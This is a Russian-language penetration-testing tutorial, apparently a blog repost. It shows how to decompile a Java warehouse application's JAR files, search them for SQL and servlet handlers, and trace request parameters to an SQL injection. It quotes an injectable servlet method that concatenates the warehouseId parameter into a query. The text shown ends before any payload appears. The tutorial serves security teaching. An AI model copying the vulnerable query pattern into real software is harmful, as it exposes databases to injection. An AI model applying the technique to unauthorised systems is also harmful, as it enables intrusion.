{"id":495189,"date":"2026-09-18T13:21:15","date_gmt":"2026-09-18T13:21:15","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=495189"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=495189","title":{"rendered":"SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e: \u043e\u0442 JAR-\u0444\u0430\u0439\u043b\u0430 \u0434\u043e \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043f\u0430\u0440\u043e\u043b\u044f"},"content":{"rendered":"
\n

SQL\u2011\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e: \u043e\u0442\u00a0JAR\u2011\u0444\u0430\u0439\u043b\u0430 \u0434\u043e\u00a0\u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043f\u0430\u0440\u043e\u043b\u044f<\/p>\n

\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u043d\u043e\u0441\u0438\u0442 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440. \u0412\u0441\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u0435\u043b\u0438\u0441\u044c \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u043e, \u0432\u00a0\u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0430, \u0441\u00a0\u043f\u0438\u0441\u044c\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0432\u00a0\u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435. \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u043d\u0435\u00a0\u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u043c\u00a0\u2014 NDA. \u0418\u043c\u0435\u043d\u0430 \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0438 \u0442\u0430\u0431\u043b\u0438\u0446 \u0432\u00a0\u043b\u0438\u0441\u0442\u0438\u043d\u0433\u0430\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u044b. \u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0439\u0442\u0435 \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u00a0\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0443\u00a0\u0432\u0430\u0441 \u0435\u0441\u0442\u044c. \u0414\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u0447\u0443\u0436\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0431\u0435\u0437\u00a0\u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u00a0\u0437\u0430\u043a\u043e\u043d\u0443.<\/em><\/p>\n

\u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f Java\u2011\u0441\u0438\u0441\u0442\u0435\u043c\u0430: \u0441\u043a\u043b\u0430\u0434\u0441\u043a\u043e\u0439 \u0443\u0447\u0435\u0442, \u0432\u0435\u0431\u2011\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, HTTPS. \u0412\u043d\u0443\u0442\u0440\u0438\u00a0\u2014 SQL\u2011\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0431\u0435\u0437\u00a0\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u00a0\u043e\u0434\u043d\u043e\u043c GET\u2011\u0437\u0430\u043f\u0440\u043e\u0441\u0435, \u0438\u0437\u2011\u0437\u0430 \u0441\u0442\u0440\u043e\u043a\u0438 \u00ab… WHERE ID=\u00bb + \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440.<\/p>\n

\u0420\u0430\u0437\u0431\u0435\u0440\u0435\u043c, \u043a\u0430\u043a\u00a0\u043d\u0430\u0439\u0442\u0438 \u0442\u0430\u043a\u0443\u044e \u0432\u00a0\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0431\u0435\u0437\u00a0\u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u0432: \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f JAR \u2192 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u043e\u0432 \u2192 \u0443\u044f\u0437\u0432\u0438\u043c\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u2192 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 pg_sleep. \u041a\u0430\u0436\u0434\u044b\u0439 \u0448\u0430\u0433 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c.<\/p>\n

\u041f\u043e\u0447\u0435\u043c\u0443 \u0430\u043d\u0430\u043b\u0438\u0437 \u043a\u043e\u0434\u0430<\/h2>\n

\u0418\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0449\u0443\u043f\u0430\u0442\u044c \u0438 \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u043e\u043c \u0441\u043d\u0430\u0440\u0443\u0436\u0438. \u041d\u043e\u00a0\u0435\u0441\u043b\u0438 \u0435\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (\u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u00a0\u0441\u0432\u043e\u0435\u0439\u00a0\u0436\u0435 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043e\u043d\u0438 \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u0435\u0441\u0442\u044c), \u0447\u0442\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0434\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435:<\/p>\n

\u00b7\u00a0\u0442\u043e\u0447\u043d\u0443\u044e \u043f\u0440\u0438\u0447\u0438\u043d\u0443<\/strong>\u00a0\u2014 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443, \u0430\u00a0\u043d\u0435 \u00ab\u0433\u0434\u0435\u2011\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u043b\u043e\u043c\u0430\u0435\u0442\u0441\u044f\u00bb;<\/p>\n

\u00b7\u00a0\u0432\u0441\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f if\/else \u0441\u0440\u0430\u0437\u0443<\/strong>\u00a0\u2014 \u043d\u0435\u00a0\u043d\u0443\u0436\u043d\u043e \u0443\u0433\u0430\u0434\u044b\u0432\u0430\u0442\u044c;<\/p>\n

\u00b7\u00a0\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442<\/strong>\u00a0\u2014 \u0432\u0438\u0434\u043d\u0430 \u0421\u0423\u0411\u0414, \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431 \u0444\u0438\u043a\u0441\u0430.<\/p>\n

\u041d\u0435\u00a0\u0437\u0430\u043c\u0435\u043d\u0430 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e, \u043d\u043e\u00a0\u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432\u00a0\u0431\u0430\u0433\u0435 \u0434\u043e\u00a0\u043a\u043e\u043d\u0446\u0430\u00a0\u2014 \u043c\u0438\u043d\u0443\u0442\u044b \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u043e\u0442\u0435\u043d \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.<\/p>\n

\u0427\u0442\u043e\u00a0\u0437\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435<\/h2>\n

\u0426\u0435\u043b\u044c, \u0431\u0435\u0437\u00a0\u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f:<\/p>\n

\u00b7\u00a0Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0430 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u043c Jetty, HTTPS, \u043f\u043e\u0440\u0442 8443<\/strong>;<\/p>\n

\u00b7\u00a0\u0431\u044d\u043a\u0435\u043d\u0434 \u2014 PostgreSQL<\/strong>;<\/p>\n

\u00b7\u00a0\u043a\u043e\u0434 \u0432 JAR-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u0445 \u0432 WEB-INF\\lib;<\/p>\n

\u00b7\u00a0\u0432\u043d\u0443\u0442\u0440\u0438 \u2014 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u044b \u0438 web.xml, ORM \u043d\u0435\u0442, SQL \u043f\u0438\u0448\u0435\u0442\u0441\u044f \u0440\u0443\u043a\u0430\u043c\u0438.<\/p>\n

\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 Java-\u043c\u043e\u043d\u043e\u043b\u0438\u0442 \u0438\u0437 \u0432\u0440\u0435\u043c\u0435\u043d, \u043a\u043e\u0433\u0434\u0430 PreparedStatement \u0441\u0447\u0438\u0442\u0430\u043b\u0441\u044f \u0438\u0437\u043b\u0438\u0448\u0435\u0441\u0442\u0432\u043e\u043c.<\/p>\n

\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b<\/h2>\n

\u00b7\u00a0JD-GUI<\/strong> \u2014 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f .jar\/.class \u0432 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 Java-\u043a\u043e\u0434.<\/p>\n

\u00b7\u00a0Notepad++<\/strong> (\u0438\u043b\u0438 ripgrep\/VS Code) \u2014 \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0434\u0435\u0440\u0435\u0432\u0443 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u0432 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0430\u043c\u0438.<\/p>\n

\u00b7\u00a0 Python 3 + requests<\/strong> \u2014 PoC.<\/p>\n

\u00b7 curl<\/strong>\u00a0\u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0440\u0443\u043a\u0430\u043c\u0438.<\/p>\n

JD-GUI \u2014 \u0437\u0430 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c \u0438 \u043f\u0443\u043d\u043a\u0442 File \u2192 Save All Sources<\/strong>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u0440\u0443\u0436\u0430\u0435\u0442 JAR \u0432 \u0434\u0435\u0440\u0435\u0432\u043e .java-\u0444\u0430\u0439\u043b\u043e\u0432. \u0414\u043b\u044f \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0431\u043e\u0440\u043e\u043a \u043b\u0443\u0447\u0448\u0435 CFR \u0438\u043b\u0438 Procyon; \u0437\u0434\u0435\u0441\u044c \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u043d\u0435\u0442.<\/p>\n

\u0414\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a \u0438\u0437 \u0431\u0430\u0439\u0442\u043a\u043e\u0434\u0430. Java \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 .class \u0441 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0438\u043c\u0435\u043d \u043c\u0435\u0442\u043e\u0434\u043e\u0432, \u043f\u043e\u043b\u0435\u0439 \u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0431\u043b\u0438\u0437\u043e\u043a \u043a \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u0443 \u2014 \u0442\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435. \u0414\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u0438\u043a\u0438 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e.<\/p>\n

\u0428\u0430\u0433 1. \u0414\u043e\u0441\u0442\u0430\u0435\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438<\/h2>\n

\u0412\u00a0WEB\u2011INF\\lib \u043b\u0435\u0436\u0430\u0442 JAR\u2011\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u043f\u0435\u0440\u0435\u043c\u0435\u0448\u043a\u0443 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u043c\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438. \u041d\u0443\u0436\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e JAR \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041e\u0442\u043b\u0438\u0447\u0430\u0435\u043c \u0438\u0445 \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430<\/strong>: \u043d\u0430\u0448\u0438\u00a0\u2014 acme\u2011wms\u2011*, \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 (postgresql\u2011*, commons\u2011*, \u2011slf4j\u2011<\/em>)\u00a0\u2014 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0445 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c. \u041d\u0430\u00a0\u0440\u0430\u0437\u043c\u0435\u0440 \u043d\u0435\u00a0\u0441\u043c\u043e\u0442\u0440\u0438\u043c: \u0443\u00a0\u043a\u043e\u043c\u043f\u0430\u043a\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0435\u0433\u043e\u00a0\u0436\u0435 JAR\u2011\u044b\u00a0\u0431\u044b\u0432\u0430\u044e\u0442 \u043c\u0435\u043d\u044c\u0448\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445.<\/p>\n

WEB\u2011INF\\lib\\
\u251c\u2500 acme\u2011wms\u2011core.jar <\u2011 \u044f\u0434\u0440\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (\u043d\u0430\u0448 \u0432\u0435\u043d\u0434\u043e\u0440)
\u251c\u2500 acme\u2011wms\u2011web.jar <\u2011 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u044b \u0438 \u0432\u0435\u0431\u2011\u0441\u043b\u043e\u0439 <\u2011 \u0441\u044e\u0434\u0430
\u251c\u2500 acme\u2011wms\u2011reporting.jar <\u2011 \u043e\u0442\u0447\u0435\u0442\u044b
\u251c\u2500 postgresql-42.7.11.jar (\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044f\u044f, \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c)
\u251c\u2500 commons\u2011lang3-3.20.0.jar (\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044f\u044f, \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c)
\u251c\u2500 commons\u2011io-2.22.0.jar (\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044f\u044f, \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c)
\u2514\u2500 …\u00a0 (slf4j \u0438 \u043f\u0440\u043e\u0447\u0438\u0435)<\/p>\n

\"\u041a\u0430\u0442\u0430\u043b\u043e\u0433<\/p>\n
\u041a\u0430\u0442\u0430\u043b\u043e\u0433 WEB-INF\\lib: \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0443\u0437\u043d\u0430\u0435\u043c \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 acme-wms-*, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435<\/em><\/figcaption><\/div>\n<\/figure>\n

\u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c acme-wms-web.jar \u0432 JD-GUI \u2192 File \u2192 Save All Sources<\/strong> \u2192 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0430\u0440\u0445\u0438\u0432. \u0418\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0435\u0441\u0442\u044c.<\/p>\n

\u0428\u0430\u0433 2. \u0418\u0449\u0435\u043c SQL \u0432 \u043a\u043e\u0434\u0435<\/h2>\n

\u0413\u0440\u0435\u043f\u043d\u0443\u0442\u044c SQL \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043a\u043e\u0434\u0443:<\/p>\n

^.*?select.*?from.*?$
^.*?query.*?select.*?<\/code><\/p>\n

\u0422\u044b\u0441\u044f\u0447\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u0442\u043d\u044f\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 — \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0435\u043a\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u0430\u043d\u0430\u043b\u0438\u0437 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432.<\/p>\n

\"Find<\/p>\n
Find in Files \u0432 Notepad++: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u043e\u0438\u0441\u043a\u0430.<\/em><\/figcaption><\/div>\n<\/figure>\n

\u0421\u0443\u0436\u0430\u0435\u043c \u0434\u043e \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u043e\u0432<\/h3>\n

\u0421\u0435\u0440\u0432\u043b\u0435\u0442 \u2014 Java-\u043a\u043b\u0430\u0441\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441. GET \u0443\u0445\u043e\u0434\u0438\u0442 \u0432 \u043c\u0435\u0442\u043e\u0434 doGet, POST \u2014 \u0432 doPost, \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435. \u0418\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u0442\u0430\u043a \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432. \u0418\u0449\u0435\u043c \u043f\u043e \u043d\u0438\u043c:<\/p>\n

doGet
doPost
doPut
doDelete<\/code><\/p>\n

\u0421\u0443\u0436\u0430\u0435\u043c \u043f\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0435 do(Get|Post|Put|Delete). \u0421\u0440\u0435\u0434\u0438 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u043e\u0432 \u2014 ReportExportServlet.java<\/a>. \u042d\u043a\u0441\u043f\u043e\u0440\u0442 \u043e\u0442\u0447\u0435\u0442\u043e\u0432 = \u0432\u044b\u0431\u043e\u0440\u043a\u0430 \u0438\u0437 \u0411\u0414 \u043f\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u043c, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0435\u0434\u0443\u0442 \u043f\u0440\u044f\u043c\u043e \u0432 SQL. \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c.<\/p>\n

\"\u041f\u043e\u0438\u0441\u043a<\/p>\n
\u041f\u043e\u0438\u0441\u043a \u043f\u043e doGet: \u0441\u0440\u0435\u0434\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u2014 <\/em>ReportExportServlet.java<\/em><\/a>.<\/em><\/figcaption><\/div>\n<\/figure>\n

\u0428\u0430\u0433 3. \u0427\u0438\u0442\u0430\u0435\u043c \u0441\u0435\u0440\u0432\u043b\u0435\u0442<\/h2>\n

\u0422\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430<\/h3>\n

\u0421\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432:<\/p>\n

\"doPost<\/p>\n
doPost \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u0443\u0435\u0442 \u0432 doGet \u2014 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438 GET, \u0438 POST.<\/figcaption><\/div>\n<\/figure>\n

\u0421\u0430\u043c doGet:<\/p>\n

public void doGet(HttpServletRequest request, HttpServletResponse response)
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 throws ServletException, IOException {
\u00a0\u00a0\u00a0 response.setContentType(\"text\/html; charset=UTF-8\");
\u00a0\u00a0\u00a0 PrintWriter out = response.getWriter();<\/p>\n

\u00a0\u00a0\u00a0 String fullExport = request.getParameter(\"fullExport\");
\u00a0\u00a0\u00a0 if ((fullExport != null) && (\"true\".equals(fullExport))) {
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 exportFullCatalog(out);
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return;
\u00a0\u00a0\u00a0 }<\/p>\n

\u00a0\u00a0\u00a0 String minQty = request.getParameter(\"minQty\");
\u00a0\u00a0\u00a0 String warehouseId = request.getParameter(\"warehouseId\");
\u00a0\u00a0\u00a0 String includeArchived = request.getParameter(\"includeArchived\");<\/p>\n

\u00a0\u00a0\u00a0 if ((includeArchived != null) && (\"true\".equals(includeArchived))) {
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 boolean archived = AccessUtil.hasArchiveAccess(warehouseId);
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 out.println(archived);
\u00a0\u00a0\u00a0 } else if (minQty != null) {
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if ((warehouseId != null) && (!\"\".equals(warehouseId))) {
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 exportStockByWarehouse(warehouseId, minQty, out);\u00a0\u00a0 \/\/ <-- \u0441\u044e\u0434\u0430
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 } else {
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 exportAllStock(minQty, out);
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 }
\u00a0\u00a0\u00a0 } else {
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 out.println(\"missing parameters\");
\u00a0\u00a0\u00a0 }
}<\/code><\/p>\n

\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435<\/h3>\n

\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u043b\u0435\u0442: fullExport, minQty, warehouseId, includeArchived. \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435:<\/p>\n

\u00b7 fullExport=true \u2192 exportFullCatalog \u0438 return. \u041c\u0438\u043c\u043e.<\/p>\n

\u00b7 includeArchived=true \u2192 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u041c\u0438\u043c\u043e.<\/p>\n

\u00b7 \u0438\u043d\u0430\u0447\u0435, \u0435\u0441\u043b\u0438 \u0437\u0430\u0434\u0430\u043d minQty \u0438 \u043d\u0435\u043f\u0443\u0441\u0442\u043e\u0439 warehouseId \u2192 exportStockByWarehouse(warehouseId, minQty, out)<\/strong>. \u0421\u044e\u0434\u0430.<\/p>\n

\u0412\u0445\u043e\u0434 \u0432 \u043d\u0443\u0436\u043d\u0443\u044e \u0432\u0435\u0442\u043a\u0443: fullExport \u0438 includeArchived \u043d\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u043c, minQty \u0438 warehouseId \u2014 \u043d\u0435\u043f\u0443\u0441\u0442\u044b\u043c\u0438.<\/p>\n

\"doPost<\/p>\n
doPost \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 doGet \u2014 \u043e\u0431\u0435 \u0442\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0432\u0435\u0434\u0443\u0442 \u043a \u043e\u0434\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0435.<\/em><\/figcaption><\/div>\n<\/figure>\n

\u0428\u0430\u0433 4. \u041d\u0430\u0445\u043e\u0434\u0438\u043c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e<\/h2>\n

public void exportStockByWarehouse(String paramString1, String minQty, PrintWriter out) {
\u00a0\u00a0\u00a0 int min = Integer.parseInt(minQty);
\u00a0\u00a0\u00a0 String qry = \"select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=\"
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 + paramString1 + \" and QTY > \" + min;
\u00a0\u00a0\u00a0 ...
\u00a0\u00a0\u00a0 Statement st = ConnectionPool.getConnection().createStatement();
\u00a0\u00a0\u00a0 ResultSet rs = st.executeQuery(qry);
\u00a0\u00a0\u00a0 ...
}<\/code><\/p>\n

